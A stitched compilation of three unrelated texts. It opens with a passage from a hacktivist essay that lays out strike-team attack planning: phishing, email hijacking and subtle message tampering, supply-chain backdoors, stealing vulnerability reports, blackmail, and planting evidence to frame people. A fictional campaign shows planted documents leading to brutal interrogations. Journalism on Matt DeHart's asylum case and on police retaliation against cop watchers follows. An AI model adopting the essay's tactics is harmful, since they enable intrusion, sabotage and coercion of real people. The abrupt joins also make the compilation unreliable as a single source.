No one person should be given the authority to sort people themselves. Strike
teams should function as “sub collectives” and be autonomous. Hacktivist
collectives are composed of people around the world, most of whom can not be
online all the time. This means that all strike teams should set themselves up
knowing that their members will pop on and offline and that it is possible new
members will have to be annexed at a later time.
Step Two: Within each strike team, agree upon a stratagem; a broad, realistic,
nonspecific plan of action that aims to accomplishes one, very specific goal.
Strike teams should only execute one stratagem at a time. Multiple strike teams
within the same hacktivist collective can execute different stratagems at the
same time in an effort to accomplish some sort of final goal (perhaps to
destabilize an organization or to acquire trade secrets). The next section of
this essay is devoted solely to exploring the concept of stratagems and how to
best form and use them. Strike teams should be allowed to do what they want,
but their initial stratagem should be approved by the collective so that no two
strike teams attempt to do the same thing at the same time.
Step Three: As a strike team, map your target’s attack surface. If multiple
strike teams are all attacking the same network, they should share information
very closely in this step. It is very possible that multiple strike teams
working together to accomplish the same goal could actually be attacking
different networks, in which case mapping should be done within individual
strike teams. Each member of a given strike team should attempt to map the
target network themselves, and then members should compare information. It is
very unlikely that anything will be overlooked by every single member of the
team.
Step Four: Divide your target network up into manageable chunks and assign
certain individuals within your team to each one of those chunks. Efficient
devision of labor is key to launching speedy attacks. Here is an example
involving a network composed of four servers (two SQL servers, a DNS server,
and a web server hosting a feature rich corporate site) and a strike team
composed of six attack specialists and four social engineering specialists:
* Have one attack specialist attack the SQL and DNS servers.
* Have one attack specialist attack the website’s multistage user
registration mechanism and login mechanism.
* Have one attack specialist attack the contact and session management
mechanism.
* Have one attack specialist attack any forms not assigned to other
attack specialists as well as any other potentially exploitable
scripts, pages, or mechanisms.
* Have one attack specialist and two social engineering specialists
attempt to launch some sort of phishing champaign against the
company’s employees.
* Have one attack specialist and two social engineering specialists
attempt to convince the company’s hosting provider that they are the
rightful owners of the company’s four servers and have been locked
out of their email account.
Step Five: Drill yourselves. This step is optional but highly recommended.
Procure a server with a large amount of RAM and multiple processors. Have one
member of your strike team set up a virtual network on it that, to the best of
your knowledge, mimics the network you are planning to attack. This one team
member should not participate in the drills themselves, and they should not
give other team members details pertaining to the virtual network. If you are
planning on attacking a large cooperation, set up the virtual network like a
large cooperate network with a labyrinth of firewalls, routers, switches, and
domain controllers. If you are planning on attacking a small cooperation or
home business, set up your network accordingly. You should never have to
visualize more than 12 workstations, even if your team is doing a complex
pivoting exercise. As a group, attempt to break into your virtual network and
execute your stratagem. The virtual network should be deliberately
misconfigured so that there is a way for your team to infiltrate it and
accomplish their simulated goal, but the misconfigurations should be extremely
subtle. The team should have to work very hard to find them. Run multiple
drills. After each drill, the misconfigurations in the network, and potentially
the layout of the network itself, should be altered to force your team to
attack it in a different way or to exercise a different skill. The purpose of
these drills are two fold. Firstly, they allow your team members to get
accustomed to working together. Secondly, they will prepare your team for the
day when they actually go up against your real target network.
Step Six: Execute your stratagem on your target network. Your strike team
should attack methodically and silently. Every member should know what they
need to do and how they need to do it. No mistakes should be made. Every tool
you use should be well honed and function flawlessly. Not a second should be
wasted. Use time to your advantage. Your target organization will be the most
unprepared for an attack in the middle of the night when all of its IT staff
are at home sound asleep. If your stratagem calls for being embedded in your
target network for a long period of time, tread very lightly once you
infiltrate it.
Interlocking Stratagems in Theory
In this section I will give multiple examples of stratagems that an actual
strike team could make use of. You should combine multiple stratagems to
accomplish your ultimate goal. Individual stratagems are like pieces of a
jigsaw puzzle, and are intended to be pieced together. A strike team should
execute multiple stratagems in succession, possibly in cooperation with other
strike teams in an effort to accomplish a common goal. This section is not
intended to be a play book. I encourage you to build off of my stratagems or,
better yet, devise your own. Some stratagems are:
(1) Collect information on individuals within the target organization. Mount a
phishing campaign against the organization and gain access to as many
workstations as possible. Once you have breached its network, do not pivot.
Attempt to locate any useful information on the workstations you have
compromised, and then remain in the network for as long as possible doing
nothing more than idly gathering intelligence.
(2) Take complete or partial control over the target organization’s main means
of communication (usually email). Review a few of their messages and learn how
they are structured and formatted. Then, send a number of blatantly false
messages to one or more members of the organization using the credentials of
another member of the organization. Multiple false messages should be sent over
some period of time. When members of the organization begin to receive false
messages from their colleagues, distrust will begin to take root.
(3) Take complete or partial control over the target organization’s main means
of communication (usually email). Review a few of their messages and learn how
they are structured and formatted. Then, devise some way to intercept and
inspect or modify messages in transit within the target organization
(essentially, perform a man in the middle attack). Every once in awhile, alter
a message in a subtle but disruptive way. Perhaps change a date or a time so
certain individuals do not arrive at their meetings on time or do not arrive at
all. Once you have reason to believe that your modifications have taken their
toll (i.e. the person you targeted missed their meeting), undo the changes you
made to the message you intercepted so upon audit it appears as though the
message was never tampered with. Doing this is usually hard to detect and will
slowly cause the target organization to destabilize itself as tensions between
individuals within it begin to rise and their employees begin to question their
own sanity.
(4) Take complete or partial control over the target organization’s main means
of communication (usually email). Review a few of their messages and learn how
they are structured and formatted. Use the credentials of a high ranking
individual within the target organization to distribute a message that appears
to be from them that claims a terrible tragedy has occurred that warrants an
immediate, brash, resource intensive response from the rest of the
organization. You will most likely not be able to pull this off more than once.
This stratagem works especially well against militant groups with poorly
defined command structures but has other applications as well.
(5) Once inside of the target organization’s network, acquire a small amount of
classified data intended for the eyes of high ranking personnel only.
Strategically plant the data on the computer of one or more lower ranking
individuals. Make it look like an espionage attempt. If many key individuals
within the target organization are accused of trying to siphon out its secrets,
it will be forced to suspend a large portion of its operations while an
investigation is done.
(6) Use a DDoS attack to disrupt the target organization’s communications for a
short period of time when they are most in need of it. For a corporation, this
could be during an important international Skype call. For a government, this
could be immediately following a devastating attack from an insurgency group.
Doing this will cause panic, which will make the target organization
temporarily more susceptible to other kinds of attacks.
(7) Pose as a legitimate company selling legitimate software and befriend the
target organization. Create a piece of software with a very hard to detect
security flaw in it and sell it to them. The flaw could be as simple as a
poorly implemented encryption library or as complex as an insecure multistage
parsing algorithm. It must be incredibly subtle. So subtle that if it is
detected you will be able to write it off as unintentional. It should be
plausibly deniable. Once the target organization installs the vulnerable
software on their machines, leverage it to perform targeted attacks on key
individuals within it. Do not use it to infect entire subnets, as that will
draw to much attention.
(8) Locate a small software provider your target organization already does
business with and infiltrate their network by using other stratagems. Modify
their source code slightly so that their software becomes vulnerable to remote
attack. Do not modify just any code you come across, study the software
provider’s development process and target code that has already been checked
for bugs and is days away from being released to customers. When the target
organization installs the latest version of software from the company that you
have infiltrated, they will become vulnerable. Leverage this vulnerability to
perform targeted attacks on key individuals within the target organization. Do
not use it to infect entire subnets, as that will draw to much attention.
(9) Locate a small software provider your target organization already does
business with and infiltrate their network by using other stratagems. Most
software companies offer rewards to security researchers who find
vulnerabilities in their products. Determine how reported vulnerabilities are
managed by the company you have infiltrated and devise a way to monitor them
in real time. As soon as a security researcher reports a major vulnerability
in a product your target organization uses, use it to perform targeted attacks
on key individuals within it. Do not use it to infect entire subnets, as that
will draw to much attention.
(10) Using other stratagems, infiltrate the computers of a number of influential
individuals within the target organization. Monitor their activity constantly
and closely. If possible, listen to them through their computer’s microphone.
When you believe that one of them has left their computer, undo things they
have just done. Delete the last sentence they wrote. Hit the back button on
their web browser. Close the program they just opened. Over time, this will
lead them to question their sanity.
(11) Using other stratagems, infiltrate the computers of a number of influential
individuals within the target organization. Most modern governments and
corporations are at least partially corrupt. Find evidence of this corruption
and use it to compel one or more of these influential individuals to aid your
cause. If you are unable to find any evidence of corruption, do not be afraid
to bluff. If you make a mysterious window pop up on, say, a CFO’s computer that
alludes to some sort of dirty secret, it is very possible that the CFO will
assume that the hacker who caused the widow to appear knows something about
them that they actually do not. A lot of powerful people have skeletons in the
closet. The media has instilled a fear of hackers into the general populace,
and this fear can be used to your advantage. Most normal people, upon being
confronted by a hacker that has gained complete control of their computer, will
be inclined to believe plausible sounding white lies. Having an “inside man”
within your target organization can be extremely useful.
Interlocking Stratagems in Practice
In this section I shell present an example of a plausible situation that could
warrant the involvement of hacktivists and a corresponding attack loosely built
upon the stratagems from the last section. I have tried to make the situation
realistic, but it is very likely that if you use my writing to plan and execute
your own attack it will play out nothing like the attack depicted below. Most
actual attacks are far more complex than the one presented here. The purpose
of this example is to demonstrate the way in which multiple strike teams should
work together. Notice how at all times each team has one or more specific
goals.
Situation: A hacktivist collective has decided to attack the terrorist
organization Bina Al-ar-mal after they captured and executed a tourist in
Syria. Bina Al-ar-mal is believed to consist of over 40,000 people, has
hundreds of public Twitter feeds and Facebook accounts, and runs a small
terrorist news site hosted on a Russian server. It has three known leaders, who
we shall refer to as Head Terrorist 1, Head Terrorist 2, and Head Terrorist 3.
Twenty-seven hacktivists have joined the effort. They have been split into
three teams: team 1 consists of five of the most highly skilled hacktivists,
team 2 consists of seven moderately skilled hacktivists, and team 3 consists of
fifteen amateur hacktivists.
Time Line:
(Day 1, Hour 1) Team 1 is initially tasked by the collective with infiltrating
as many terrorist Twitter and Facebook accounts as possible. The team starts
enumerating the accounts immediately. They decide that no drill will be
executed, as breaking into Facebook and Twitter accounts is a trivial task.
(Day 1, Hour 1) Team 2 is initially tasked by the collective with infiltrating
the web hosting provider hosting the terrorist group’s website. They begin
reconnaissance.
(Day 1, Hour 1) Team 3 is initially tasked by the collective with attacking
Bina Al-ar-mal’s website directly. They begin to map the website.
(Day 1, Hour 2) Team 1 finishes enumerating the terrorist Facebook and Twitter
accounts. They begin attempting to break into them.
(Day 1, Hour 2) Team 3 finishes mapping Bina Al-ar-mal’s website and begins to
attack.
(Day 1, Hour 3) Team 1 has breached a few terrorist Facebook and Twitter
accounts. After examining their contents they determine that the terrorists
are using SpookyMail email service to communicate off of social media. A few
terrorist email accounts are identified and the team begins to try to break
into those as well.
(Day 1, Hour 3) Team 3 gains read/write access to a limited portion of the
server Bina Al-ar-mal’s website is hosted on. The other teams are alerted.
They set up a simple php based IP logger script to capture the IP addresses of
Bina Al-ar-mal members attempting to check their organization’s news feed.
(Day 1, Hour 6) Team 2’s reconnaissance ends. They have located the web hosting
provider and gathered information on said provider’s website and servers. They
begin attacking them.
(Day 1, Hour 7) Team 1 breaches their first few terrorist email accounts.
(Day 1, Hour 9) Team 2 locates a vulnerability in the the terrorist’s web
hosting provider’s website. They are not able to fully compromise any of their
servers, but they are able to get a list of customer names, domain names, and
billing addresses by exploiting a flaw in the website’s shopping cart feature.
Upon inspecting the list, they discover that the person paying Bina Al-ar-mal’s
hosting bill has a British billing address. The other teams are alerted and
Scotland Yard is notified of the terrorist threat immediately.
(Day 1, Hour 23) Team 1 is able to get Head Terrorist 1’s email address off of
the “contact” pane of one of the hacked terrorist email accounts. They make
ready for a spear phishing attack against him, but decide to wait some time to
launch it, as it is currently the middle of the night where Head Terrorist 1 is
believed to be.
(Day 2, Hour 3) Team 3 has gathered over seven thousand IP addresses of people
viewing Bina Al-ar-mal’s news feed and tries to attack them all using known
router vulnerabilities. When all is said and done they have infected
thirty-seven routers and forty-six workstations. They determine that
thirty-four of these work stations belong to active members of Bina Al-ar-mal.
They observe these workstations passively, hoping to gather information. The
other two teams are briefed on their success.
(Day 2, Hour 8) Team 1 launched a spear phishing attack against Head Terrorist
1 using the hacked email account of another terrorist.
(Day 2, Hour 9) Team 1’s spear phishing attack against Head Terrorist 1 is a
success. They now have full control over his Windows XP laptop and inform the
other two teams of their success. After searching the laptop’s hard drive and
downloading a half gigabyte of confidential documents and IM logs, the team
decides to plant a PDF of the Christian Bible on it along with some real
looking fake papers from the CIA. After gleaning Head Terrorist 2’s and Head
Terrorist 3’s email addresses from the stolen IM logs, the team sends them both
emails from the hacked email account of a lower level terrorist claiming that
Head Terrorist 1 is dirty.
(Day 2, Hour 9) Team 3 decides to take the sensitive information stolen from
Head Terrorist 1’s computer stolen by Team 1 along with other fake CIA
documents and place it on all thirty-four of the terrorist workstations they
control. They use a hacked email account belonging to an uninvolved terrorist
to inform Head Terrorist 2 and Head Terrorist 3 that Head Terrorist 1 is a
traitor an he has at least thirty-four moles inside of their organization, all
of whom they mention by name.
(Day 2, Hour 10) Head Terrorist 1’s laptop is searched by security forces under
the control of Terrorist 2. Head Terrorist 1 is determined to be part of the
CIA and is placed into a cell to be used as leverage against the United States.
(Day 2, Hour 17) Head Terrorist 2 and Head Terrorist 3 raid all thirty-four of
the suspected moles and find the planted documents. They begin to interrogate
all thirty-four of them in order to find out how deep the CIA has penetrated
their organization. None of them know anything but most of them make up real
sounding false information to make the interrogations end.
(Day 3, Hour 3) Team 1 determines that most remaining Facebook and Twitter
accounts can not be breached. Several team members leave and a few stick around
to try and finish off the remaining accounts.
(Day 6, Hour 17) Scotland Yard arrests the person allegedly paying for Bina
Al-ar-mal’s web hosting. It is later determined that the person is actually
part of a London-based Bina Al-ar-mal cell.
(Day 6, hour 20) Team 2 destroys Bina Al-ar-mal’s web site after catching word
of the Scotland Yard raid.
End Result: One of three head terrorists is being held by their own
organization as a traitor and thirty-four unrelated terrorists are being held
by their own organization and brutally interrogated about actions they did not
commit. One terrorist is in the custody of the Scotland Yard, and a British
terror cell has been exposed. Bina Al-ar-mal’s entire communication network is
compromised (but they do not know that yet), and their website has been taken
offline permanently. All members of Bina Al-ar-mal are now becoming
increasingly suspicious of their fellow members and the hacktivist collective
is now in a position to launch further attacks on Bina Al-ar-mal (using the
compromised email and social media accounts) at a later time. This has all been
accomplished in under a week.
________________________________________________________________________________
Disclaimer: All information provided in this document is for educational
purposes only. The ideas presented here are solely academic and should never be
acted upon or put into practice. The author of this document will not be held
responsible in the event any criminal or civil charges be brought against any
individuals misusing the information in this document to break the law.
“I’m very familiar with the 9/11 Truth movement, and I’m totally convinced that 9/11 was a fraud. There’s no doubt in my mind about that. At first I didn’t want to believe it. It’s such an ugly thing to believe.”
Just a few years ago he was doing well; as a trained Intelligence Analyst in the US Air National Guard he looked forward to a stable and glamorous career at the center of action, living inside a virtual videogame and fighting America’s enemies via drones. It was a heady combination of gamer geek dreams and the aspirations of a good boy who’d grown up in a military family, following his parents’ path to public service.
Now he sits in a cell in a foreign country, far from his Indiana roots, suffering from PTSD and recovering from two apparent suicide attempts. The last one by diving headfirst onto a concrete floor from a top bunk bed. He’s struggling hard to stay in that cell, too; or at least, never to return to the land of his birth, the land he once served so proudly.
In a series of clipped, yet eloquent, emails Major Paul DeHart, Matt’s father, talked to us about the struggles his family have been through in the days since. “No prison is a good prison. Depriving any human being much less one who has grown up under western law which in theory at least values human dignity and freedom above most things is punishment enough. I will say compared to the way human beings in general and prisoners specifically are treated in any US prison system, state or federal, Canadian prisoners seem to be treated as human beings with at least the potential for rehabilitation.”
“But, the US approach to warehousing prisoners and exploiting them as resources for labour and prison-industrial-complex businesses is no different than the way the US approaches old people in nursing homes or labour in general. From a corporatist standpoint, a human resource which is no longer productive is no longer of any value. The concept of intrinsic human value seems to have been forgotten.”
On his son’s complex situation and appeal for sanctuary: “It’s simple in our book. He was tortured by the US. That is a violation of international law. Does anyone doubt any more that the US tortures people? If they have done it overseas to supposed enemies – why not to their own citizens? Why is the US Senate report in CIA torture still not released. You figure it out. Along those lines – I reference what happened to Canadian citizen [Maher] Arar.”
As Matt himself explained to the National Post, “It’s not that I’m not patriotic — I am. I voted for Bush. My family is military, pretty gung ho. But everything has changed.”
The DeHart case (as explained in the masterful five-part National Post chronicle) is neither straightforward nor at first glance tremendously sympathetic. Of his own volition he walked into the Russian Embassy in Washington, DC. What happened there depends on which version of the stories he’s told you believe. Either he was there to look for work and a new start, having lost faith in the US, or he was there to mislead them about drone technology, deliberately handing them misinformation to protect the country he loved. But what does this have to do with the child pornography charges against him, the only charges which have been filed? And if he’s wanted on child pornography charges, why did the FBI interrogate him as part of an espionage investigation, as the documentation shows?
And what does this have to do with Anonymous?
It all started with Chanology. According to statements DeHart gave Adrian Humphreys of the National Post, he participated in Project Chanology, the original “moralfag” action which pitted Anonymous against the Church of Scientology. There were many aspects to the operation, but the most famous was the adoption of the Guy Fawkes mask, since become inextricably associated with the hacktivist collective. The statements DeHart gave were corroborated by operation founder Gregg Housh, although he could not specifically identify participants, having known them only via pseudonyms.
Chanology was DeHart’s first taste of activism, and he liked it. Getting deeper into the hacktivist scene, he eventually ran a server on which some files which may or may not have been destined for WikiLeaks resided.
His American lawer Tor Ekeland told us via email, “This whole matter revolves around a file that appeared in the fall of 2009 on a TOR server Matt was a co-sys admin. People speculate that it was enroute to Wikileaks, although I have not seen any confirmation of this fact. The file was unencrypted for the first two days on the server. According to published reports, it’s an FBI investigative file of domestic criminal activity by the CIA.”
Then came the raid.
That was 2010. No malware and no such mystery file was found on DeHart’s computer equipment; he’d long since deleted the file, which had been uploaded to the server by someone else.
“I opened the door and it was the police task force. Your stomach drops and your heart beats like crazy. It takes you by surprise, even though I had nothing to hide once the server was destroyed…
I was shook up,” Matt said. “I don’t know everything they took, but I know they took everything. After they had left I looked at the search warrant which was left on the couch. It was a generic warrant from the Memphis FBI field office and it said they were searching for child pornography.”
That was when he started to lose faith. Not too long after that he visited the Russian and Venezuelan embassies, looking for the future he could no longer see himself having in the USA. He didn’t find it there and decided to take the same route once taken by escaped slaves, the Underground Railway to the free environs of Canada.
Part of the reasoning, as his father told Humphreys, was that if there was any hold-up with the passport, they’d know the child porn incident wasn’t over. There was no problem with the passport. He left, signed up for a French Immersion course which to his chagrin didn’t take, then enrolled in technical college in scenic Prince Edward Island, intending to study welding. “I figured I’d try something that had nothing to do with computers. I felt good going to Canada,” he explained to the National Post.
All was going well, but in order to start school he needed a student visa, which he had to obtain from his home country.
You see this coming, don’t you?
He bussed across the St Croix river to the American side, where he spent the night at a hotel and took care of the paperwork. Then he headed back to Canada. Presenting his passport at the border, he anticipated no issues. The guard scanned it, checked the computer, scanned it again, went into an office to check something, and suddenly all hell broke loose.
While two guards threw themselves in front of the exit, blocking it, DeHart was cuffed and plopped in a chair. Soon he was tumbled into the back of a Border Patrol vehicle which was driven by an FBI agent and taken to an ICE detention center, where he was refused a lawyer and detained.
DeHart says he was strapped into a lab chair and drugged with an IV drip, before being aggressively questioned for hours. He was shown a new criminal complaint, charging him with soliciting child pornography; it was written that very day.
His father explained some anomalies. “We have repeatedly asked in court in the US for actual transcripts of his interrogations and have been told there are no audio or video records. Yeah right. Two agents are flown out from the national security section in DC to interrogate Matt and there are no records. Hmmm.”
He was transferred from the ICE detention center to another holding facility, where he collapsed and was taken to hospital, where the doctors determined him to be in a paranoid state, claiming persecution by the FBI. His symptoms were consistent with “drug induced psychosis” according to medical personnel.
Department of Justice documents show that DeHart was not actually detained on child porn charges; he was detained relating to an issue of national security/espionage. And he remained detained for months, until a judge added up the inconsistencies in the case, found DeHart a credible witness and not a flight risk, and ordered that he be released with a monitoring bracelet and curfew.
On November 5, Guy Fawkes Day, Million Mask March day, Matt DeHart filed a motion to dismiss the charges against him.
On April 2 of the next year, he and his family fled, driving north almost a full day and night to a border station in Fort Francis, Ontario, where they claimed refugee status and requested asylum from the Canadian government. Ekeland explained, “He and his family are seeking refugee status in Canada based on the fact that Matt was tortured by the FBI and that he cannot get a fair trial in the U.S.”
Paul DeHart said, “We came to Canada to seek protection from the US under international law. We know the tremendous courage it would take any Canadian official to stand up to Canada’s closest ally and biggest trading partner. However, it has been done before. In my generation Canada welcomed war protesters who disobeyed draft laws in the US and came to Canada where tens of thousands of them were granted immigrant status and protected.” In more recent, more Conservative times, however, the Canadian government has been rounding up and repatriating (ie returning to the US) AWOL American soldiers.
The next day the Canadian government from whom they were seeking aid charged Matt with espionage against Canada.
“There are Americans who try to sneak across the Canadian border to flee US law enforcement all the time,’” said Paul DeHart. CBSA [Canada Border Services Agency] I’m sure keeps stats. We did not sneak anywhere. We reported to a CBSA office and declared ourselves as asylum seekers under the UN Convention Against Torture (CAT). Matt was not detained by Canadian officials until the following day when a US Judge issued an arrest warrant for failing to appear at a schedule court hearing.”
And this, along with the still-unresolved child pornography charges, is why Matt DeHart has spent the last year in Canadian jail cells. At one point he won limited release, and was reunited with his family, but when the family moved to a different apartment Matt notified his corrections officer of the move in an incorrect manner: by notifying the company in charge of his electronic monitor, who then notified the officer. His father explained, “Someone in the CBSA made a decision to have him rearrested on a
reporting technicality which had nothing to do with flight risk or danger to the community and forfeit the $10,000 bond we put up. Money by the way we could not afford to lose.” He remains in custody. Rallies for his release have been unsuccessful, if high-profile.
Paul DeHart told us, “You should thank God as Canadians you seem to still have a mature and unbiased judiciary. The judge who reviewed Matt’s bond release in Sept 2013, after CBSA challenged it in court, wrote a very well-supported opinion which basically said in paraphrase – in Canada someone is innocent until proven guilty. If her 13-page opinion is indicative of the quality of
Canadian judges, then I’d say at least judicially, Canadians are in good hands.”
“We are awaiting two decisions by the Immigration and Refugee Board. First, we await the admissibility decision for Matt. He is opposed by the govt for the charges in TN. The final submissions were sent in middle of August. A negative decision will start a time clock on a shortened process to have Matt sent back to the US. Actually, it’s my understanding that he would just have to be deported from Canada. Theoretically it doesn’t have to be back to the US, but where else would he be sent?”
“The other decision is whether as a family we qualify under for protection from the Canadian government. Final submission for that hearing are due this month. No telling how long either decision will take. Considering the unusual nature of our claim, we suspect the Canadian government will be sure to make a very thorough examination of each and have detailed rationale for the decisions.” This is going to involve a lot of lawyers, though, and they are not inexpensive, particularly for a couple of new immigrants who left behind established careers. “The [child porn] case in Tennessee is suspended until/unless Matt returns to the US as we understand it.”
The governments in question don’t appear to be in any rush. Major DeHart raises an interesting question: extradition. “After being in Canada since April 2013, a year and a half, there has been no extradition request from the US. Since these are relatively routine it raises the question – why not?”
We asked DeHart about the extent to which the Canadian and US governments were cooperating on the case. “Who knows?” he replied. “Clearly the questions Matt was asked by both CSIS [Canadian Security Intelligence Service, the “Canadian FBI”] and the War Crimes unit of CBSA were focused on events in the US which had nothing to do with child pornography. Questions Leann and I were asked at the admissibility hearing by CBSA hearings officers seemed to have come directly from the US. And, that makes sense since US border personnel are on Canadian soil and work closely with CBSA.”
Their old government seems content to leave the entire family in the hands of the Canadians, despite maintaining an apparent interest in watching events unfold. “We have not been contacted by anyone from the US government since we came to Canada,” Paul DeHart told us. “I will say that the day after we crossed the border in Ft. Frances we noticed at least a dozen US Homeland Security vehicles parked in that relatively small town. I do know we did not feel safe from the US there.” As a former NSA employee, DeHart is well-equipped to identify HS vehicles.
On September 12 DeHart’s US attorney Tor Ekeland created an online fundraiser to cover his legal expenses. He chose the site GoFundMe, which often works with Anonymous fundraisers.
That same day, the fundraiser was shut down.
“We got an email from GoFundMe saying we’d violated their Terms of Service, and that our account was being terminated,” Ekelund told me via email. “When we asked for explanation we got none. By the time we’d received the email the account had already been deleted.”
Paul DeHart said, “Well, you can draw your own conclusions. Supposedly the site was taken down for a violation of terms of service. But, since it was started and run by a law firm, that makes little sense.”
Not wasting any time, Ekeland immediately rebuilt the fundraiser on Canadian site Fundrazr, which also hosts Julian Assange’s personal fundraiser. “We had the Fundrazr up in an hour or two, most of the time which was spent on looking at alternatives sites. It took about 15 minutes to actually get it up and running again. It stands at $550 of a $10,000 goal.
“No money was lost. Gofundme sent us everything. I really don’t focus on fundraising, and I usually go thousands of dollars out of pocket on the cases I have that are like this. I never make money of these types of cases, and I’m certainly not doing it for the money.”
The future is uncertain, obscured in a blizzard of paperwork, allegations, missing files, and, most recently, very specific publication bans (which we are probably breaking by reporting this). There are two powerful, often collusive, governments
Ekeland explained, “As of this writing, the U.S. government has not taken any action to extradite Matt. They will not try him in absentia.”
Paul DeHart sums it up. “Unless you have spent a large part of your adult life serving in the S military you would have a hard time understanding what an absolutely gut-wrenching, traumatic experience it is to have to fill out a basis of claim form for asylum against the country you love and served. But there is no excuse for what was done to our son, and no one in the US seemed to care about that.”
“It is our intention to remain in Canada and live out the rest of our lives in peace. If we are granted status we would never be allowed to return to the country of our birth. My own mother passed away in May 2013 after we came here. I was unable to attend her funeral.”
“If we are permitted to remain in Canada and Matt is allowed free to pursue life again, then our lives will resume. We will work, live, and make a new life in Canada. We have no ambitions beyond this: to live free from the fear of the US government. Imagine knowing that your head is in the sights of a sniper some 2 miles away. You know that at any moment a trigger can be pulled sending a 50 calibre bullet into your skull and exploding it. I know that’s graphic and perhaps hyperbole, but that is what it
feels like to know that our lives are in the sights of the most powerful government on earth.”
“You wonder if this is the day someone pulls the trigger.”
NOTE: Matt’s job description has been corrected. He was originally reported to be a drone pilot, but was actually an Intelligence Analyst. His father writes, “His job in the Air National Guard was equivalent to PFC Manning’s in the Army.”
When communities attempt to police the police, they often get, well… policed.
In several states, organized groups that use police scanners and knowledge of checkpoints to collectively monitor police activities by legally and peacefully filming cops on duty have said they’ve experienced retaliation, including unjustified detainment and arrests as well as police intimidation.
The groups operate under many decentralized organizations, most notably CopWatch and Cop Block, and have proliferated across the United States in the last decade – and especially in the aftermath of the events that continue to unfold in Ferguson, Missouri, after officer Darren Wilson fatally shot unarmed, black teenager Michael Brown.
Many such groups have begun proactively patrolling their communities with cameras at various times during the week, rather than reactively turning on their cameras when police enter into their neighborhoods or when they happen to be around police activity.
Across the nation, local police departments are responding to organized cop watching patrols by targeting perceived leaders, making arrests, threatening arrests, yanking cameras out of hands and even labeling particular groups “domestic extremist” organizations and part of the sovereign citizens movement – the activities of which the FBI classifies as domestic terrorism.
Courts across the nation at all levels have upheld the right to film police activity. The American Civil Liberties Union (ACLU) and photographer’s associcationshave taken many similar incidents to court, consistently winning cases over the years. The Supreme Court has ruled police can’t search an individual’s cellphone data without a warrant. Police also can’t legally delete an individual’s photos or video images under any circumstances.
“Yet, a continuing stream of these incidents (often driven by police who have been fed ‘nonsense‘ about links between photography and terrorism) makes it clear that the problem is not going away,” writes Jay Stanley, a senior policy analyst at the ACLU’s Speech, Privacy & Technology Project.
Sources who have participated in various organized cop watching groups in cities such as New York; Chicago; Cleveland; Las Vegas; Oakland; Arlington, Texas; Austin and lastly Ferguson, Missouri, told Truthout they have experienced a range of police intimidation tactics, some of which have been caught on film. Cop watchers told Truthout they have been arrested in several states, including Texas, New York, Ohio and California in retaliation for their filming activity.
More recently, in September, three cop watchers were arrested while monitoring police activity during a traffic stop in Arlington, Texas. A group of about 20 people, a few of them associated with the Tarrant County Peaceful Streets Project, gathered at the intersection of South Cooper Street and Lynda Lane during a Saturday night on September 6 to film police as they conducted a traffic stop. A video of what happened next was posted at YouTube.
Arlington police charged Janie Lucero, her husband, Kory Watkins, and Joseph Tye with interference of public duties. Lucero and Watkins were charged with obstructing a highway while Tye was arrested on charges of refusing to identify himself.
Arlington police have defended the arrests of the three cop watchers, but the watchers say they weren’t interfering with police work, and were told to move 150 feet away from the officers – around the corner of a building where they couldn’t film the officers.
“When we first started [cop watching, the police] seemed kind of bothered a little bit,” Watkins told Truthout. “There was a change somewhere where [the police] started becoming a little bit more offended, and we started having more cop watchers so I guess they felt like they needed to start bringing more officers to traffic stops.”
On the night of Watkin’s arrest, his group had previously monitored two other traffic stops without any confrontation with Arlington police officers before the incident that led to the arrests.
Sometimes, though, retaliation against cop watching groups goes far beyond arresting cop watchers on patrol.
Cops Label Cop Watch Groups Domestic Terrorists
On New Year’s Day in 2012, Antonio Buehler, a West Point graduate and former military officer, witnessed two Austin police officers assaulting a woman. He pulled out his phone.
As he began photographing the officers and asking questions about their activities, the cops assaulted and arrested him. He was charged with spitting in a cop’s face – a felony crime.
However, two witness videos of the incident surfaced and neither of them showed that Buehler spit in Officer Patrick Oborski’s face. A grand jury was finally convened in March 2013 and concluded there was not enough evidence to indict Buehler on any of the crimes he was charged with.
A few months after the New Year’s Day incident, Buehler and other Austin-based activists started the Peaceful Streets Project (PSP), an all-volunteer organization dedicated to stopping police abuse. The group has held “Know Your Rights” trainings and a Police Accountability Summit. The group also regularly organizes cop watch patrols in Austin.
Since the PSP was launched, the movement has grown, with local chapters popping up in other cities and states across the United States, including Texas’ Tarrant County chapter, which the three cop watchers arrested in Arlington were affiliated with.
But as the Peaceful Streets movement spread, police retaliation against the groups, and particularly Buehler himself, also escalated.
“[The Austin Police Department (APD)] sees us as a threat primarily because we shine a spotlight on their crimes,” Buehler said.
The group recently obtained documents from the APD through a Freedom of Information Act (FOIA) request that reveal Austin police colluded to arrest Buehler and other cop watchers affiliated with the Peaceful Streets Project. Since the New Year’s Day incident, Buehler has been arrested three more times by APD officers. At least four other members of PSP have been arrested on charges of interference or failing to identify themselves during their cop watching activities.
The emails indicate APD officers monitored Buehler’s social media posts and attempted to justify arresting him for another felony crime of online impersonation over an obviously satirical post he made on Facebook, as well as reveal that some APD officers coordinated efforts to stop PSP members’ legal and peaceful activities, even suggesting reaching out to the District Attorney’s office to see if anything could be done to incarcerate members of the group.
Another internal email from APD senior officer Justin Berry identifies PSP as a “domestic extremist” organization. Berry writes that he believes police accountability groups including PSP, CopWatch and Cop Block are part of a “national domestic extremism trend.” He believes he found “mirror warning signs” in “FBI intel.” Berry makes a strange attempt to lump police accountability activists and the hacker-collective Anonymous in with sovereign citizens groups as a collective revolutionary movement.
“Sovereign citizens” groups generally believe federal, state and local governments are illegitimate and operate illegally. Some self-described sovereign citizens create fake license plates, identification and forms of currency to circumvent official government institutions. The FBI classifies the activities of sovereign citizens groups as domestic terrorism, considering the groups a growing “domestic threat” to law enforcement.
Buehler told Truthout the APD is working with a Department of Homeland Security (DHS) fusion center to attempt to identify PSP as a sovereign citizens group to associate its members with domestic terrorism with state and federal authorities. DHS fusion centers are designed to gather, analyze and promote the sharing of intelligence information between federal and state agencies.
“They have spent a fair amount of resources tracking us, spying on us and infiltrating our group, and we are just peaceful activists who are demanding accountability for the police,” Buehler told Truthout. “They have absolutely no evidence that we’ve engaged in any criminal activity or that we’ve tried to engage in criminal activity.”
APD officials did not respond to a request for comment.
“They’ve pushed us; they’ve assaulted us for filming them; they’ve used their horses against us and tried to run us into walls; they’ve driven their cars up on us; they illegally detained us and searched us; they get in our face and they yell at us; they threaten to use violent force against us,” Buehler said. “But we didn’t realize until these emails just how deep this intimidation, how deep these efforts were to harm us for trying to hold them accountable.”
